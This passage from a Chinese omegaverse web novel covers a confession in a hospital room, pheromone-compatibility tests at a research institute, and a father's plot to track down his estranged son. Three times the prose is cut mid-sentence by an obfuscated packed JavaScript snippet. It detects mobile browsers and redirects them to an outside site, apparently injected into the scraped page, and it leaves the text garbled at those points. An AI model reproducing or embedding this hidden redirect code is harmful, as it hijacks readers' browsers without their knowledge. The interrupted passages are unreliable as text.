他不信一见钟情这种东西,不过是见色起意。 如果是昨晚之前,祁厌会怀疑沈溪流或许是把先前几次帮助时的依赖当作喜欢,但昨晚发生的一切让他更加不明白。 沈溪流的喜欢远比自己想象中的更多,可这是不对的,他们认识不久,祁厌无从找到沈溪流对自己有所执念的原因。 难道说是替身? 或许沈溪流是把对别人的感情转移到自己身上了吗? 祁厌皱了下眉头,觉得有些恶心,不应该这样去怀疑一个人。 所以只能由沈溪流自己回答了。 沈溪流歪头凝视着他,轻声说道:“为什么不会喜欢你呢?” “如果你要理由的话,我能说出很多个理由。从我们认识到现在,你就帮过我很多次忙,无论是呼吸碱中毒还是扭伤脚,亦或者在酒吧里快被撞倒时,都是你帮助了我。喜欢帮助自己的人很奇怪吗?” “如果这些理由不行的话,怎么就不能是先对你的外表一见钟情?然后又因为你的内在特质而被吸引,毕竟我们目前为止的交流都很愉快不是吗?或者你是觉得你的吸引力很差?我不应该喜欢你吗?” “这倒是不至于,我只是有些想不明白……” 祁厌对自己的外貌优势很清楚,沈溪流说的话在理,可是他感觉得到,沈溪流好像有所隐瞒。 沈溪流知道祁厌不明白什么,可他不敢说出真正的想法,凝视着他说道:“喜欢就是喜欢,喜欢一个人的理由可以千千万,根本说不尽。但我喜欢你,就只是喜欢你一个人,不是受别的影响,与信息素无关,也与他人无关,只是因为你是祁厌。” 你是祁厌,这就够了。 22. 第 22 章 只因为你是你,所以喜欢你。 与信息素无关,也与其他的一切无关。 祁厌几乎愣在原地好久,不是没有听过更动人的告白,从高中到大学,他甚至收到过相当浪漫美好的情书。但每一次祁厌都毫无感觉,委婉坚定地拒绝了对方。 唯独这一次,心口好似猛然被人狠狠撞了一下,仿佛潜在内心深处的渴望终于得到了答案。 他想,自己或多或少有那么一点悸动吧? “你现在可以不接受,但不要急着拒绝好吗?起码给我们一个互相了解对方的机会,或许这样,你心中的疑惑就能得到答案。” 祁厌叹气道:“沈先生,你比我想象中的更了解我。” 喜欢一个人,起码得了解他的一切,目前来看,沈溪流应该知道他的基本信息、兴趣爱好、饮食习惯、职业理想…… 而祁厌对沈溪流一无所知,如果想让他喜欢沈溪流,确实需要一个了解对方的机会。 “这是理所当然的吧?” 沈溪流将手撑在病床边,上半身朝他靠近,眼睛很认真地看着祁厌,看着这张熟悉而陌生的面孔,看着他不自在地将身体往后倾斜一些。 如果是前世,祁厌不会后退,只会凑上来,贴在他耳边,俊美张扬的脸上勾着玩味的笑意,要么说着暧昧的话语,要么说着暗藏讥讽的话。 好在,这双眼睛没有如前世那样荡漾着暧昧缱绻的情波,总是一副游刃有余的浪荡模样,眼波流转间,肆意撩拨着人心,比起他在酒吧工作时,显得更加风流薄情。 截然不同的神态表情,让沈溪流无比安心。 碎发落在狭长眼眸上,沈溪流的眼神很柔和,眸中带着祁厌不敢直视的浓稠爱意与眷念,与这张清冷傲慢的脸形成反差,他很认真地说:“了解自己喜欢的人,本就是一件再正常不过的事情。” 喜欢你,非常喜欢你,不想被你拒绝…… 他的眼睛好像不断倾诉着这样的情话,而祁厌最不擅长应对的就是这种直率的类型。沈溪流每次紧盯着他说一次喜欢,他的心头就像是被重锤击中了,眼睛不敢对视,嘴唇不自觉地轻抿,掌心也浸出细汗。 沈先生,你能不能不要这样看我? 不知道脸红了没有,祁厌想要捂住发烫的脸颊,躲过沈溪流的眼神,偏偏思绪杂乱无章,下意识地伸手蹭了一下鼻尖,试图掩饰内心的紧张。 没人能够直视浓郁的爱意而不躲避,除非他也拥有同样的爱意。 “祁厌,了解一下现在的我吧,你可以在我身边观察,我是否配得上你的喜欢,我不会对你做任何坏事……” “不对。”听到这话,祁厌倏地开口提醒他,“沈先生,你的用词不太妥当。” “配得上”,这词不该用在这里的。 沈溪流的眼睫毛很长,在眼下留着淡淡的阴影,被苍白的脸色衬托得相当明显,抬眼与他对视,神情看着有些阴郁,被祁厌反驳,也只是轻轻笑了一下:“嗯,好像是这样。” 或许他只是看着正常了些,但依然受病影响吧。 祁厌压下心底的思绪,盯着沈溪流的一举一动,缓缓开口:“沈先生,沈所长应该已经和你说了,接下来我会配合他,帮你治疗,如果对你有所影响的话,相当抱歉……” “为什么要道歉?”沈溪流微笑说,比先前的笑容多了一丝侵略性,“我很高兴哦,昨晚求着你临时标记一下都不肯,现在你愿意帮我治疗,已经是不幸中的万幸了。” “不用担心信息素的影响,喜欢你与信息素无关。” 又被表白了。祁厌第一次发现沈溪流比想象中的更会说话,也更擅长拿捏人,起码他发现自己好像确实对沈溪流有那么一些说不清道不明的…… “砰!” 病房大门忽然被撞开,身穿着白色实验服的沈云殊急切地走了进来,风风火火地拿着一堆检验报告拍到沈溪流的桌板上。 “那个谁,祁厌,你们两个的信息素匹配度出来了,居然高达99.98%!” 眼下的黑眼圈更重,头发比早上离开时更乱,英俊帅气的脸有些疲惫,但沈云殊带着红血丝的眼睛却格外明亮,跃跃欲试地盯着两人,看得他们背后发毛。 “你们两个很清楚这个匹配度意味着什么吧?”沈云殊盯着坐在病床旁边的祁厌,兴奋的目光看得人不敢直视。 “这个信息素匹配度非常罕见,难怪刚才沈溪流的情况稳定这么快。”沈云殊目光炯炯地看向表情僵硬的沈溪流,“匹配度在95%以上的alpha和omega本就会互相吸引,光是存在于同一片空间之中,就容易被对方吸引住,甚至能稳定另一个人的紊乱信息素,简直太棒了!” “99.98%?怎么可能会这么高……”祁厌有点惊讶,伸手拿起检验报告,“沈所长,你做了多少组检验?” 沈云殊来得不是时候,如果真是这么高的信息素,的确会影响到他对沈溪流的感觉。尽管平时两人的信息素已经控制得几乎等于无,除了昨晚的失控泄漏外,祁厌从未嗅到沈溪流的信息素。 如果他们的信息素的匹配度在95%以下,这种控制可以确保双方不受影响,但匹配度在98%以上,就不是控制信息素的问题了。 在某种程度上,甚至可以说是命中注定,就如沈云殊说的,只要存在一片空间之中,就会对方造成一定的影响,相当有命运的感觉。但是作为研究信息素的科研人员,他们最不信任的便是命运论。 祁厌皱着眉头翻阅检验报告,沈溪流看着他的表情变化,嘴角几不可见地往下移,看向沈云殊的眼神闪现一抹冰冷的锐利。 他才刚和祁厌说不受信息素影响,结果沈云殊就跑过来说这件事情,让沈溪流非常不悦,感觉他就是一颗掉进粥里的老鼠屎,明明都快要吃到嘴里了…… 沈云殊兴奋到无视沈溪流的危险眼神:“按照相关规定,百分百的匹配度是绝对不会出现在检验报告上,担心误差,我反复检验了30组,都在99%之上。祁厌,你应该知道这代表着什么吧?” 当然知道,目前公认的,治疗腺体最好的药物莫过于伴侣的信息素,这是再好的药物都顶替不了。但这也有着一个前提,双方的信息素匹配度最好是在80%之上,匹配度越高效果越好。 “不管是国内外,这么高的信息素匹配度都太罕见了,所长,沈先生最新的检查报告出来了吗?那五项最关键的数据如何?和以前使用药剂的效果比起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318644|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来?omega腺体的情况怎么样?” 祁厌已经看过沈溪流的病历,除了信息素紊乱症,还有着家族遗传病,如果他们的信息素匹配度这么高的话,抽取他的信息素确实可以帮助沈溪流,甚至能够产生非常大的效果,甚至有可能让沈溪流的腺体好转。 “远远超出预期,如果是之前,沈溪流没这么快恢复,起码会持续不正常三天。如今看来想要对omega的腺体进行治疗,果然最佳选择依然是高匹配度的alpha信息素……” 祁厌和沈云殊不约而同地想到了一个点上,他们可以通过这次机会,观察最高匹配度的alpha和omega之间的信息素交融,能够产生多大的变化,说不定可以从中研究出一些…… “二舅舅,祁厌,你们两个在讨论些什么?” 没等二人继续交流,沈溪流的声音冷冷响起,强行把他们两个拉回现实。 祁厌对上沈溪流的眼睛,猛然回过神来,两个alpha当着一个omega的面,讨论他的腺体和身体状况,好像有点不太对劲,顿时不好意思看他,有点心虚。 “当然是讨论你的病,不能再拖延下去了。昨晚要不是祁厌出现及时,你的omega腺体早就产生病变。” 沈云殊就没祁厌这么纯情,既是沈溪流长辈,又时刻关注着沈溪流的情况,比他的主治医师更加专业,继续说道:“没想到你们的信息素匹配度居然这么高,这次有祁厌的配合,或许可以出现新的突破。” “你的废话太多了,抽取alpha信息素不是一件简单的事情,一次两次就算了,如果想要达到你的目标,估计没这么简单吧。” 沈溪流说话的语气有些冷,比寻常时刻具有威慑力,尽管他现在还坐在病床上,脸色苍白。 “……” 沈云殊推了推眼镜,眼神变得玩味起来:“又不是抽你的,这么紧张做什么?这种机会可是很难得,很有趣的,你是病人,无权做主,只要祁厌同意就行。” 他这话一出,祁厌注意到沈溪流的表情变得相当冰冷,冷漠地注视着沈云殊,嘴角的笑意相当不善:“您在和我说笑话吧。” ——当然不是。 沈云殊没有说话,举止却表明态度,这让沈溪流的表情更锐利,他们眼神对视间,互不相让,无声的连周围的气氛倏然变得紧绷,犹如即将崩断的弓弦。 “嘎吱——” 直到拉开椅子的声音突然响起,打破这僵硬凝滞的场面。 祁厌站起身,挡在他们之间,拦住二人的视线,将手里的检验单放入沈溪流的手心。 “沈先生,你才刚醒来,身体最要紧,别生气,而且我很高兴我们的信息素匹配度这么高,能够给你提供帮助。” 对上祁厌那双桃花眼,沈溪流抿了抿唇,锐利的气势瞬间荡然无存,变得温和许多。 他无视病房里的另一个人,语气缓和:“祁厌,你别陪他一起疯,他的脑子不正常。” “抽取alpha信息素很疼的,对身体也不好,有这么高的信息素匹配度,只要保持适当的距离,就对我有安抚效果,没必要……” 别抽,起码不能再重蹈覆辙,走回那条该死的烂路了。 23. 第 23 章 虽然之前的相处看起来很正常,但沈云殊的确是个脑子不正常的怪人,他的正常只停留在表面,一旦遇到感兴趣的事情就会变得狂热。 “表哥的建议是正确的哦,祁哥,你真的不应该答应二叔。除了必要的事情,你最好离二叔远点吧,他只在普通人面前看着正常而已。” 酒吧休息室里,祁厌把东西从柜子里拿出来,游弋正在后面调节贝斯,想到自己去看沈溪流撞见的场面,表情微妙地放低声音:“得亏表哥也在,态度又比较强势,要不然他能直接把你们两个抓进实验室配……” 祁厌眼皮子一跳,面露嫌弃:“你这话说得太难听了。” “咳咳,都是实话实说,他真的做得出来这种事情。”游弋也没好意思把话说完,挠着后脑勺,尽量委婉,“你知道的,搞科学的人多少有些狂热疯子属性,长辈的事情我不好说。” “但是吧,我二叔这人真的不太正常,没有下限。作为alpha,他为了研究甚至敢拿自己做实验,亲自生孩子,要不是这次对象是你和表哥,你懂的。” “并不是很想懂,而且我已经答应他了。”祁厌有些惊讶,虽然对沈云殊的性格早有耳闻,但没想到他居然还做过这种事情。 一个alpha生孩子,听起来确实很让人震惊,尤其是沈云殊那种类型,他完全是在贯彻把孩子生下来当玩具主义吧。 “你现在要是后悔的话,打个电话给表哥吧,他有办法拒绝的。”游弋好心建议,他过去的时候,祁厌已经答应沈云殊,当时沈溪流是非常罕见的危险表情,每次出现这种表情,就必然会有人倒大霉。 如果现在祁厌后悔的话,沈溪流一定很高兴,只要祁厌不愿意,他有的是办法支开沈云殊。 祁厌摇头:“不用了,既然已经答应,我会好好配合,我也不光是被研究对象,也是研究人员,有沈先生在,我相信他不会让沈所长乱来。” 游弋动作一顿,笑得有些开心:“那你还真是信任他,表哥要是知道了,一定会很高兴。” 明明他也是沈家人,一贯的精神不正常,可祁厌居然信任沈溪流,真是有趣。 “好了,我弄好了,先出去咯。”没等祁厌再说话,游弋站起身,拿着贝斯准备离开,突然回头问道,“对了,祁哥,你最近不是很忙吗?为什么还要来酒吧帮忙?” “有点小事。”祁厌笑说,眼底笑意很淡。 最近在酒吧里暗中窥视他的人越来越多了,祁厌很清楚是谁在盯着。他经常出没的场所只有三个,学校的实验大楼、PHY生命科学研究所、酒吧,前两个地点是外人无法进入,唯有酒吧是最好观察他的地方。 祁厌换好衣服,整理好头发,盯着镜子里的自己,慢慢勾起唇角笑了起来,似笑非笑间,营造出一派温柔风流的假象。 镜子里的脸轮廓分明,锐利的眉眼透着不羁,一双狭长深邃桃花眼,瞳光流转间,带着一股撩拨人心的风流韵味。 这样看起来,祁厌觉得自己离那个和他长得非常相似的家伙越来越远。 “虽然都一样的虚伪。”祁厌想到在餐厅遇到的易扬,语气幽幽,“有点羡慕他了。” 易扬和易鸿立的相似度居然比他还低,明明那家伙才是在易鸿立身边长大的吧? “估计他也差不多该来了吧。”祁厌盯着镜子里的自己,脸上挂着完美的笑容。 …… 宋意礼整理好近来派人去调查的资料,易扬办事不够细致,她不放心,特意派人去调查了祁厌一番。 可惜,并未查出新的信息,好像有人将他的资料给封锁了,只能查到一些浅层信息,更深的根本查不出来,这让宋意礼惴惴不安。 虽然这可能性很小,但宋意礼为预防万一,私底下拿到祁厌的头发,和易鸿立做了亲子鉴定,鉴定结果让宋意礼很失望。 隐瞒易鸿立的事情已经拖延很久,宋意礼知道不能继续藏下去,她调节好自己的心情,等到易鸿立回来,就上前迎接他。 “小扬没有在家里待着吗?”易鸿立看了一眼客厅,“我听说他今天回来了。” 宋意礼接过他的外套,嘴角带笑:“当然是又出去了,婚礼马上就到了,他在家里待不住,想多陪陪湘婷。” 长得真像啊,祁厌和易鸿立起码有五分像,而且年轻的时候更像。 宋意礼看着面前熟悉的面孔,心想祁厌完全遗传了两边的优点,如果当年没有跟着夏云惬离开的话,易鸿立估计会很宠爱这个儿子吧。 易鸿立不知道宋意礼的想法,点头说:“这样也好,和沈家的联姻不能出差错,婚礼准备得怎么样?” “目前进展很顺利,就由他们两人挑选,我们这些做长辈的看着点就好,毕竟年轻人也有自己的主意。” 他们就像寻常夫妻闲聊着孩子的事情,气氛温馨又自然,所以宋意礼没有第一时间说起今天发生的事情。 等到用完晚餐,宋意礼才将准备好的资料递给易鸿立看:“也是巧合,这是之前小扬和湘婷约会的时候遇到的。因为他和小扬长得太像了,又想起你一直在找他们母子,所以就多留意了一下,特意去调查一番,没想到居然真的是他。” 易鸿立接过宋意礼递过来的资料,眉头在看见祁厌的名字时皱了一下,随即继续翻开,直到看完,都没有任何表达。 但是以宋意礼对他的了解,却很清楚易鸿立的心情很差,多年以来身居高位,即使不用说出来,也能让人感受到不怒自威的气势。 “……找到了也好,我会立即派人去处理。”易鸿立盯着“祁厌”的名字,面沉如水,他的儿子怎么可以跟别人姓? 即使是他厌恶的儿子,也让人不舒服。 “不过这么多年没找到她,看来是嫁了个不简单的人,所以才藏得这么好。”易鸿立嘴角微微下撇,眼神闪过一抹厉色。 “时间紧迫,小扬查得不多,她也不一定是另外嫁人了。”宋意礼说,“改姓说不定也只是为了让我们找不到她……” 易鸿立打断宋意礼的话:“你不用替她说话,她是否嫁人和我们没有关系,要不是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318645|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老不死的给我留下这么个绊子,根本不用废这么多心思。” 他的下颚逐渐收紧,语气冷淡:“接下来我会好好调查,既然已经找到衍之,那么我很快就能找到她。” “如果能够尽快找到就好了。”宋意礼有些惴惴不安,担忧地说道,“鸿立,夏云惬这么多年没有出现,她应该没有发现那份被藏起来的东西吧?” “以她的性格,如果发现了,不可能忍耐这么多年,估计连她都还不知道夏青山给她留了些什么东西。” 易鸿立眼神凌厉地盯着资料上祁厌的照片,比起夏云惬,现在更需要担心的是他这个多年未见的亲生儿子。 照片上的祁厌穿着一身白色实验服,正在专注地做药物实验,神情冷静而理性,像极了年轻时候的易鸿立,气质却更加温和从容。 但易鸿立可不信他那个儿子会变得这么温和友善,一切不过是伪装出来罢了。 祁厌和记忆里的七岁小孩几乎是等比例放大,易鸿立闭上眼睛,还能回忆起易衍之的模样,却不是长子天真幼稚的样子,而是另一个不愿意回想的画面。 易衍之自幼聪慧,很受易鸿立和他的父母宠爱,即使厌恶夏云惬,易鸿立也没打算让自己的孩子跟着夏云惬离开。 所以他故意隔开夏云惬,以她身体虚弱、精神状况不正常为由,让他们母子不得见面。 小孩子本就崇拜自己的父亲,易鸿立和长子的关系很好,自认在他的心目中地位不低。 易鸿立相信,只要让易衍之远离夏云惬,加上身边人的洗脑,总有一天易衍之会忘记他那无能又天真愚蠢的母亲,理解他的选择。 但是易鸿立却没料到当他和夏云惬之间的矛盾彻底爆发之时,易衍之选择了夏云惬。 那是一个很冷的晚上,被他强行与疯子母亲分开的小孩拿着一把刀站在他的床边,冰冷的月光映射在那双漆黑纯真的瞳孔。 他用平静而稚气的声音说:“爸爸,要么放我和妈妈走,要么我下次继续来。” 这次不动手,是想和你谈谈,下次再来,我会动手的。 易衍之的眼神这样告诉他,易鸿立第一次感觉到什么叫恐惧。 为什么他乖巧的长子会突然变成这样? 易鸿立怀疑是夏云惬这个蠢女人把不该说的事情都告诉了易衍之,盛怒之下,没忍住对夏云惬动手,结果却非常糟糕。 右手臂隐隐传来疼痛,易鸿立伸手放在右手臂上,回想起小孩的声音—— “未成年不犯法,我才七岁,机会很多。” 所以,下一次绝对不会再歪了。 刚打过夏云惬的手染了血,屋内混乱,女人又哭又叫的声音吵闹不休,易鸿立目眦欲裂地瞪着站在夏云惬身前的易衍之。 这还是他的孩子吗? 不,这是一个怪物。 盯着照片里和自己年轻时极为相似的青年,与他母亲如出一辙的桃花眼,外貌温柔俊美又可靠,但易鸿立总觉得有点恶心。 那个小怪物穿上了人类的皮囊。 24. 第 24 章 研究所里,祁厌正在被抽取alpha信息素,透明玻璃外的锐利视线相当十分具有存在感,吓得原本准备抽取信息素的研究人员手指颤抖,始终不敢下手。 “没事,你直接抽吧,早抽早结束。”祁厌说。 抖着手指的研究人员如芒在背,苦笑:“这……我……有点不敢……” 外面的视线虎视眈眈,太具有威胁力,好像随时都会冲进来把她给撕碎了一样。 “我说,你能不能别一直在这里站着,很妨碍我们工作的!”最终还是沈云殊看不下去,伸手指了指站在窗外的沈溪流,气笑了,“你一个病人干嘛跑到研究所来?这是你应该待的地方吗?” 沈溪流甚至还穿着蓝色条纹的病人服,脸色苍白虚弱地站在窗外,眼神依然在盯着祁厌和那名研究人员,声音平静且坚定:“我也说了,你既然想拿我们两个做实验,就要做好我会全程紧盯不放,避免出现任何差错。” “那是我没想到你能做得这一步。”两人答应了是好事,但也是麻烦事,沈云殊没想到沈溪流能歹毒到全程观察。 无论任何药物器具都得他经手,确定没有问题才可使用,就连参与这个研究的工作人员都是沈溪流亲自选定,这导致进度迟缓许多,让习惯在研究所搞独裁的沈云殊初次感到束手束脚是什么滋味。 “而且祁厌也是研究人员,你有什么好不放心的?难道也怀疑祁厌吗?”沈云殊试图把祁厌拉下水。 不料他摸了摸鼻子,和沈溪流对视一眼,就笑着说道:“呃……所长,我觉得沈先生只是小心了点而已,没必要这么生气。” 那天他答应了,沈溪流的情绪就很低,提出的要求明显都是安全为上,祁厌很难不站在沈溪流那边,即使身为研究人员的他知道不对。 “这叫小心点?”沈云殊冷笑一声,语气嘲讽,“他把我的得力助手都给撤掉了,全程参与的人事物都在他的掌控中。不知道的人,还以为他才是老大,我是老二呢,哟,真不愧是PHY科学研究所的负责人。” 难怪沈溪流当初选择成为沈氏药企方面的负责人,宁愿忙得没日没夜,也要尽快把一切掌握在手里,原来都是为了在这种时候从各方面拿捏住他,真是好一个倒反天罡的小兔崽子! “安全为上,我都没指责你拿我们做实验的事情。”站在外面的沈溪流轻飘飘地说着,仿佛听不懂沈云殊的嘲讽。 “嘁,我那都是为了你好,为了治疗你的病,甚至还把珍贵的时间分到你这,别这么不识好歹。”眼见沈溪流不离开,沈云殊索性放下手里东西,“小萱,你先一边去,我亲自来给祁厌抽吧。” 听他们争执不休的研究人员一听这话,就仿佛得救般把工具都塞到沈云殊手里,迫不及待闪到一边:“好的,所长,没问题!” 沈云殊可不在乎那如芒在背的眼神,直接狠狠一针给祁厌扎了下去,听到祁厌倒吸一口气,外面的目光瞬间更加锐利:“你抽这么重干嘛?” 沈云殊说:“哪里重了?这么多年都是这个力度,不要睁着眼睛乱说,抽取alpha信息素很难的!有时候找找自己的原因,这么多年了身体还这么差,心理这么扭曲,是不是你的问题?” 沈溪流:“……” “噗嗤!” 一道笑声没忍住发出来,对视上犀利目光,研究人员连忙捂住脸,“对不起,对不起,我是不小心的。” 沈溪流吸了口气,盯着倒霉的祁厌和得意的沈云殊,压下到嘴的冷嘲热讽。 祁厌用棉签压着刺痛的后颈,无奈笑着:“所长,下次我自己抽取吧,虽然一个人麻烦了点,但也不是不可以。” 一不小心成为舅甥内斗的牺牲品了。 “那可不行。”沈云殊一口否决,无视杀气,“没你,我拿什么去刺激外面碍眼的家伙。” 祁厌:“……” 他下意识地看向沈溪流,对方正面无表情地盯着沈云殊,冷脸的模样实在是非常有压迫感:“看来你刚定下的那个项目是不想做了,正好最近资金有限,回头我就帮你否决了。” “哈啊?!”沈云殊的表情瞬间一僵,一下子就被人拿捏住命脉。 擦,这只要alpha,不要舅舅的小兔崽子! 沈云殊从未缺过钱,却没能想到自己有朝一日居然会被自家外甥拿这个威胁。 换个人沈云殊还能不当回事,但沈溪流脑子不正常,说得到做得到,不能不当真。所以只能暂时先认栽,回头再找回场子。 “伤口还疼吗?”看着沈云殊拿着信息素灰溜溜地走人,沈溪流这才收敛一些,没刚才那么严谨,朝着他的后颈看了一眼。 祁厌丢掉棉签,拿起防水贴往后随便一贴:“没事的,所长下手有分寸,就是疼了那么一点点。” 沈溪流的表情缓和许多:“下次我不会给你添麻烦了,祁厌,你做实验也小心一些,如果发现什么不对劲,立即告诉我,千万不要使用没经过我允许的药物和器具。” “沈先生,你是不是有点太小心了?” 祁厌发现沈溪流太过于警惕了,明明是在自家的研究所,负责人还是沈云殊,可他却好像天然地对所有人事物都抱有怀疑。 沈溪流盯着他看,嘴角慢慢扬起,笑得很浅:“……毕竟小心驶得万年船嘛,对待喜欢的人,小心一点,不正常吗?” 噗通!告白来得猝不及防,祁厌人没有反应过来,心脏先反应过来了。 “如果你当时直接标记我的话,估计现在也不用这么麻烦。”沈溪流笑吟吟地说。 祁厌:“……” 他眼神漂移,站起身说:“突然想起来,我好像还有点事情……” “你这是在害羞吗?”沈溪流上前一步逼近他,眼眸轻抬,狭长漂亮的眼睛夹着一抹笑意,左眼下的三颗泪痣显得有些蛊,神秘又迷人。 没告白前的沈溪流在二人之间划了一条线,始终保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318646|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适当距离,温和优雅,不显得过分疏离也不显得过分亲昵,而让祁厌感到不适。 但告白以后,这条线就变得模糊不清,他丝毫不吝啬表达自己对祁厌的喜欢,无论是刚才抽取信息素的亲自监视,还是现在的表现,所有举动都在表现对祁厌的重视。 对打直球不擅长,而且这种从上往下看对方的视角容易心律不齐,祁厌晃了一下神,不自在地移开视线,手掌撑在背后的桌沿,身体悄悄往后倾斜。 “不,不是……嗯,好吧,有点,太接近了。” 他犹豫一瞬,选择说出真实的想法,既然无法避开,还是要诚实一点。 沈溪流的眼瞳微亮,眸子弯了弯,笑意愈发浓郁:“祁厌,发现了吗?你之前对我并没有不好意思过,可是现在……” “咚咚!”门边传来两声轻轻的敲门声,打断他们的对话。 研究人员看着几乎快要贴到一起的两人,一脸平静地提醒道:“祁厌,所长在找你。” “啊?哦,我马上过去。” 祁厌一听这话,立即脱离这尴尬的场景,但走了两三步又磨磨蹭蹭地停下来,对着站在原地不动的沈溪流道:“沈先生,你先回医院吧,待会儿我会和所长一起过去看看你的情况。” “好,我等你们过来。”沈溪流微笑道,看他好像暗暗松口气地离开,身影消失不见。 这才慢悠悠看向那名研究人员,语气变得凉薄:“有事?” “为什么要在这种时候做这么多事情?”沈清泽抿着唇,紧盯他。 沈溪流坐在祁厌刚才坐着的位置,有些漫不经心地支着脸,手指拨弄试管:“给你放个假不好吗?沈湘婷即将结婚,身为哥哥,你整日在研究所里待着不好吧?” “这和湘婷有什么关系?我并没有因为湘婷的事情耽误工作吧?现在我手里的项目已经进展到关键的一步,你已经辞掉了不少人,如果我再走,就会导致这个项目停滞不前,前功尽弃,就算你是研究所的负责人,也不能这么任性妄为吧?” 沈清泽尽量平静地说,但仍然难以掩饰内心的愤怒。 “这么生气做什么?辞的人又不是你。”沈溪流语气很淡,玩弄着试管,用余光看他,好似傲慢的蔑视,“而且你只是休假,休假而已。” 沈清泽猛地推开门,冲到他身前怒道:“不说我根本不想要休假,就算是休假也要有个期限吧?为什么你辞掉了我的助手还能这么轻飘飘地说出这种话啊?” 沈溪流终于抬眼正视他:“就这么不满吗?如果这么不满的话,你也可以辞职不干,研究所不需要瞎子。” “你这话什么意思?”沈清泽双眼泛红,呼吸沉重。 “没什么,不想离开的话,就先给自己放个假。” 沈溪流将试管放回试管架里,慢条斯理地站起身,冰冷的视线斜睨着他,嘴角带着嘲讽般的笑意。 “如果你不是沈家人,我早把你一起处理了。” 25. 第 25 章 “祁厌,你看起来怎么有点心不在焉的啊?” 陈不谦看着正在写实验记录的祁厌,眼神流露同情:“最近挺忙的吧,到处跑来跑去,酒吧都去得很少了,整天埋头做实验,不是在研究所做实验,就是在这里做实验,这日子过得不轻松吧?” 说到这,他忽然语调一转,往上扬起:“而我就不一样了,你是不知道,咱们最近可潇洒了。浪浪组了好几个局,我拿到好几个漂亮小O的微信,我们聊得相当开心,估计用不了多久,我就要脱单了,兄弟,到时候我们这群人里只有你一个人还是单身的了~” “哦,那挺好的。”祁厌看了眼实验室使用记录,眉头轻皱,扭头去和没有存在感的魏学弟说话,“最近还有很多人在申请使用生物实验室吗?” 魏学弟点头,有,很多。 一旁的陈不谦搭着祁厌的肩膀,继续说道:“老祁啊,就你这不解风情的样子,我已经猜到了,以前都是骗我的!” “你小子的处A之身肯定还在,这年头处A早就没什么魅力了。”他摊着手,一脸自得地说,“只有你这样严谨古板无趣的处A,才能无视漂亮omega,每次都死守吧台,不肯出去。就连玩个狂欢游戏,还能躲到吧台下面,就你这种恐O的行为,我猜你肯定得继续单身下去,咱就不一样,马上就要脱离无聊的单身……” “陈不谦,你知道什么叫做‘上目线攻击’吗?”祁厌打断他的聒噪。 陈不谦一脸懵逼:“哈啊?什么什么上目线攻击?” “哦,居然不知道啊,真可怜,你就当没什么吧。”祁厌怜悯地看他一眼。 “啊?你这家伙是在小瞧我吗?”陈不谦从中感觉到鄙视,“可恶!我可是擅长百度搜索的男人!你给我等候三秒!” 他飞快搜索,页面出来,定睛一看,不屑地说道:“呵,不就是一种格斗技巧吗?我还以为是什么有意思的东西呢?这居然值得你单独提出来说一嘴?等等,魏学弟,你这是什么眼神?祁厌,你走这么快做什么?等等我……” 注意到来自于魏学弟的鄙视眼神,陈不谦顾不得继续看手机,连忙追上转身离开的祁厌,没注意到手机页面以下的推送—— 上目线攻击,一种从下往上仰视对方,使用眼神蛊惑对方的钓系技巧。越是喜欢你的人越是有用,容易使目标人物产生怜爱之心,让对方心甘情愿地被你捕获,无法拒绝你。 到了酒吧,时间还长,没有正式开业,大家正在吃晚饭,见到祁厌和陈不谦进来,徐哥就朝他们招手:“你们来的刚刚好,吃了吗?没吃就过来一起吃个晚饭,待会儿再准备开业。” 陈不谦立即过去端起饭碗,祁厌注意到地上放了十几箱荔枝:“这个季节怎么还有这么多荔枝,徐哥你买的吗?” “没,游弋家里人送过来的,看着品质挺好,你也赶紧来吃,这价格不便宜啊,真不愧是富二代。”徐哥正在剥荔枝吃,啧啧赞道。 游弋嘻嘻笑道:“现在算不上了,我爸把我踢出家门后,全靠其他人偷偷救济。” 他说着,看向祁厌,人已经快速入座,正在徐哥旁边剥荔枝吃:“祁哥,你待会儿拿一箱回去吧,都是空运过来的,还挺新鲜,正好送得多,大家都有份。” “好的,多谢了,味道很不错。”祁厌很喜欢荔枝,自然不会拒绝。 陈不谦还想着刚才那件事,见缝插针地给众人吐槽:“……祁厌当时肯定又是在故意转移话题,我好好地跟他谈论爱情,这不解风情的直男A居然和我扯格斗技巧!” “叫什么上目线攻击?嘿,咋滴,难道还想在谈情说爱的时候,一拳击中对方的眼睛吗?这也太过分了,祁厌真……等等,你们这都是什么眼神啊?怎么都看着我啊?这时候不应该跟我一起吐槽他吗?” 正说到一半,陈不谦突然发现在场的所有人都在用看奇葩的眼神在盯着他,徐浪浪侧过脸噗嗤一声笑出声:“噗。” 